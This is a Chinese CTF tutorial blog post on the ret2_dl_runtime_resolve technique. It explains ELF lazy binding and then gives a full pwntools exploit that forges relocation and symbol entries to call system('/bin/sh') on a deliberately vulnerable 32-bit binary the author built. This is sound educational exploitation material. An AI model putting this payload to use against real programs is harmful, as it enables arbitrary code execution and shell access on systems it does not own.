美文网首页CTF Re&&PwnCTF-PWN
【CTF-PWN】ret2_dl_runtime_resolve

【CTF-PWN】ret2_dl_runtime_resolve

作者: Kirin_say | 来源:发表于2018-08-18 15:20 被阅读3次

    0x01 程序示例

    首先是一个程序:

    #include<stdio.h>
    int main(){
    char buf[]="Kirin\n";
    write(1,buf,strlen(buf));
    }
    
    gcc -m32 test.c -o test
    

    write调用过程

    write
    0x8048380

    可以看到,第一次调用write:

    call  0x8048380(plt["write"])
    0x8048380:
    0x8048380 <write@plt>:  jmp    DWORD PTR ds:0x804a018(got["write"])
    

    此时0x804a018处不是write函数的真实地址,而是指向0x8048386(plt["write"]的下一条指令):

    push    0x18
    jmp     0x8048340
    

    看一下test的文件结构

    gdb-peda$ readelf
    .interp = 0x8048154
    .note.ABI-tag = 0x8048168
    .note.gnu.build-id = 0x8048188
    .gnu.hash = 0x80481ac
    .dynsym = 0x80481cc
    .dynstr = 0x804823c
    .gnu.version = 0x80482aa
    .gnu.version_r = 0x80482b8
    .rel.dyn = 0x80482e8
    .rel.plt = 0x80482f0
    .init = 0x8048310
    .plt = 0x8048340
    .plt.got = 0x8048390
    .text = 0x80483a0
    .fini = 0x8048574
    .rodata = 0x8048588
    .eh_frame_hdr = 0x8048590
    .eh_frame = 0x80485bc
    .init_array = 0x8049f08
    .fini_array = 0x8049f0c
    .jcr = 0x8049f10
    .dynamic = 0x8049f14
    .got = 0x8049ffc
    .got.plt = 0x804a000
    .data = 0x804a01c
    .bss = 0x804a024
    

    0x8048340处是plt[0](plt表开始地址):

    0x8048340:  push   DWORD PTR ds:0x804a004
    0x8048346:  jmp    DWORD PTR ds:0x804a008
    
    0x804a004:  0xf7ffd918->link_map
    0x804a008:  0xf7fee000->_dl_runtime_resolve
    

    0x804a004:link_map=*(GOT+4),此处包含链接器的标识信息
    0x804a008:_dl_runtime_resolve函数地址->*(GOT+8)->GOT[2],动态链接器中的入口点
    0xf7ffd918:

    0xf7ffd918: 0x00000000  0xf7ffdc04  0x08049f14  0xf7ffdc08
    

    可以看到link_map中包含了.dynamic = 0x8049f14的指针

    0x02 Section信息

    .dynamic

    dynamic

    dynamic结构:

    typedef struct {
        Elf32_Sword d_tag;
        union {
            Elf32_Word d_val;
            Elf32_Addr d_ptr;
        } d_un;
    } Elf32_Dyn;
    

    其中DT_STRTAB, DT_SYMTAB, DT_JMPREL分别指向.dynstr, .dynsym, .rel.plt节段

    .dynstr

    dynstr

    开始为0
    然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)

    .dynsym

    dynsym

    结构:

    typedef struct
    {
      Elf32_Word    st_name;
      Elf32_Addr    st_value;
      Elf32_Word    st_size;
      unsigned char st_info; 
      unsigned char st_other;
      Elf32_Section st_shndx;
    }Elf32_Sym
    

    注意两个字段:
    st_name:符号名相对.dynstr起始的偏移(offset byte_8048278)
    st_info:对于导入函数符号此处为0x12
    (对于导入函数,其他处为0)

    .rel.plt

    .rel.plt

    结构:

    typedef struct
    {
      Elf32_Addr    r_offset; 
      Elf32_Word    r_info;
    } Elf32_Rel;
    

    r_offset:指向对应got表的指针
    r_info:r_info>>8后得到一个下标,对应此导入符号在.dynsym中的下标

    延迟绑定

    可以看到开始的时候第一次调用write函数
    其实调用的是:

    _dl_runtime_resolve(link_map, reloc_arg)
    

    reloc_arg为导入函数在.rel.plt中的偏移(比如此处的push 0x18)
    0x18=0+3*sizeof(Elf32_Rel)=0+3*0x8
    运行之后:

    0x804a018(got["write"]):    0xf7ed8b70
    vmmap:
    0xf7e03000 0xf7fb3000 r-xp  /lib/i386-linux-gnu/libc-2.23.so
    0xf7ed8b70-0xf7e03000=0xd5b70(write函数在libc中的偏移)
    

    可以看到运行write之后,got表处对应write的地址已变为动态加载后write的真实地址

    _dl_runtime_resolve

    _dl_runtime_resolve在glibc-2.23/sysdeps/i386/dl-trampoline.S中使用汇编实现
    看一下程序中的调用过程:

    gdb-peda$ x/xw 0x804a008
    0x804a008:  0xf7fee000
    gdb-peda$ x/10i 0xf7fee000
       0xf7fee000:  push   eax
       0xf7fee001:  push   ecx
       0xf7fee002:  push   edx
       0xf7fee003:  mov    edx,DWORD PTR [esp+0x10]
       0xf7fee007:  mov    eax,DWORD PTR [esp+0xc]
       0xf7fee00b:  call   0xf7fe77e0
       0xf7fee010:  pop    edx
       0xf7fee011:  mov    ecx,DWORD PTR [esp]
       0xf7fee014:  mov    DWORD PTR [esp],eax
       0xf7fee017:  mov    eax,DWORD PTR [esp+0x4]
    

    可以看到0xf7fee00b处call 0xf7fe77e0,即调用_dl_fixup,并且通过寄存器传参
    _dl_fixup在glibc-2.23/elf/dl-runtime.c中实现
    直接看主要函数(from大佬BruceFan的分析):

    _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
    {
        // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
        const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
        // 然后通过reloc->r_info找到.dynsym中对应的条目
        const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
        // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
        assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
        // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
        result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        // value为libc基址加上要解析函数的偏移地址,也即实际地址
        value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
        // 最后把value写入相应的GOT表条目中
        return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
    }
    

    即:

    首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
    .rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针
    利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
    利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
    在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针
    赋值给GOT表后,把控制权返还给write
    

    0x03 漏洞利用

    ROP:

    1.控制eip为PLT[0]的地址
    2.构造传递reloc_arg(第二个)参数
    3.控制参数的大小,使rel的位置落在可控地址内
    4.伪造rel的内容,使dynsym落在可控地址内
    5.伪造dynsym的内容(主要是st_name),使name落在可控地址内
    6.伪造name为任意库函数(一般获取shell,使用"system")
    

    改写section信息

    可以改写.dynamic的DT_STRTAB
    或者直接改写.dynstr
    使最后传入_dl_runtime_resolve函数的字符串(函数名)为我们改写后的字符串(我们需要调用函数的库函数名),而后成功运行函数(一般构造为"system"来获取shell)
    

    0x04 利用示例

    #include<stdio.h>
    
    void pwn()
    {
        char buf[16];
        read(0, buf, 128);
    }
    
    int main(){
    char name[]="Kirin\n";
    write(1,name,strlen(name));
    pwn();
    }
    

    编译:

    gcc -o test  -m32 -fno-stack-protector test.c
    

    因为main直接返回方式:

    __unwind {
    lea     ecx, [esp+4]
    and     esp, 0FFFFFFF0h
    push    dword ptr [ecx-4]
    push    ebp
    mov     ebp, esp
    push    ecx
    ......
    ......
    leave
    lea     esp, [ecx-4]
    retn
    

    所以这里添加pwn函数并关闭保护便于利用ret2dl-resolve:
    程序很简单,ret2_dl_runtime_resolve利用过程:

    ROP链信息:

    ROPgadget --binary test --only "pop|ret"
    
    Gadgets information
    ============================================================
    0x0804853b : pop ebp ; ret
    0x08048538 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x0804830d : pop ebx ; ret
    0x0804853a : pop edi ; pop ebp ; ret
    0x08048539 : pop esi ; pop edi ; pop ebp ; ret
    0x080482f6 : ret
    0x080481aa : ret 0x2c5
    0x080483ee : ret 0xeac1
    
     ROPgadget --binary test --only "leave|ret"
    
    Gadgets information
    ============================================================
    0x080483d8 : leave ; ret
    0x080482f6 : ret
    0x080481aa : ret 0x2c5
    0x080483ee : ret 0xeac1
    
    Unique gadgets found: 4
    

    EXP

    #coding=utf-8
    from pwn import *
    
    elf = ELF('./test')
    read_plt = elf.plt['read']
    write_plt = elf.plt['write']
    
    ppp_ret = 0x08048539 #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    pop_ebp_ret = 0x0804853b
    leave_ret = 0x080483d8
    
    stack_size = 0x800    #迁移栈后栈的大小
    bss_addr = 0x0804a024 # readelf -S test | grep ".bss"
    stack_addr = bss_addr + stack_size
    
    p = process('./test')
    
    #迁移栈至bss+stack_size
    #read(0,stack_addr,100)
    p.recvuntil('Kirin\n')
    payload = 'A' * 28
    payload += p32(read_plt) 
    payload += p32(ppp_ret)
    payload += p32(0)
    payload += p32(stack_addr)
    payload += p32(100)
    payload += p32(pop_ebp_ret) # 把stack_addr pop到ebp中
    payload += p32(stack_addr)
    payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向stack_addr
    p.sendline(payload)
    
    plt_0 = 0x08048310
    rel_plt = 0x080482cc
    index_offset = (stack_addr + 28) - rel_plt
    write_got = elf.got['write']
    dynsym_addr = 0x080481cc
    dynstr_addr = 0x0804823c
    hack_dynsym_addr = stack_addr + 36
    align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
    hack_dynsym_addr = hack_dynsym_addr + align
    index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10       #dynsym下标
    r_info = (index_dynsym_addr << 8) | 0x7
    hack_rel = p32(write_got) + p32(r_info)             #伪造reloc段
    st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
    hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)    #伪造dynsym段
    
    #system("/bin/sh")
    payload2 = 'AAAA'
    payload2 += p32(plt_0)
    payload2 += p32(index_offset)
    payload2 += 'AAAA'
    payload2 += p32(stack_addr + 80)
    payload2 += 'AAAA'
    payload2 += 'AAAA'
    payload2 += hack_rel # stack_addr+28
    payload2 += 'A' * align
    payload2 += hack_dynsym # stack_addr+36+align
    payload2 += "system\x00"
    payload2 += 'A' * (80 - len(payload2))
    payload2 += "/bin/sh\x00"
    payload2 += 'A' * (100 - len(payload2))
    p.sendline(payload2)
    p.interactive()
    

    参考文档

    http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
    https://bbs.pediy.com/thread-227034.htm
    

    相关文章

      网友评论

        本文标题:【CTF-PWN】ret2_dl_runtime_resolve

        本文链接:https://www.haomeiwen.com/subject/dtgtiftx.html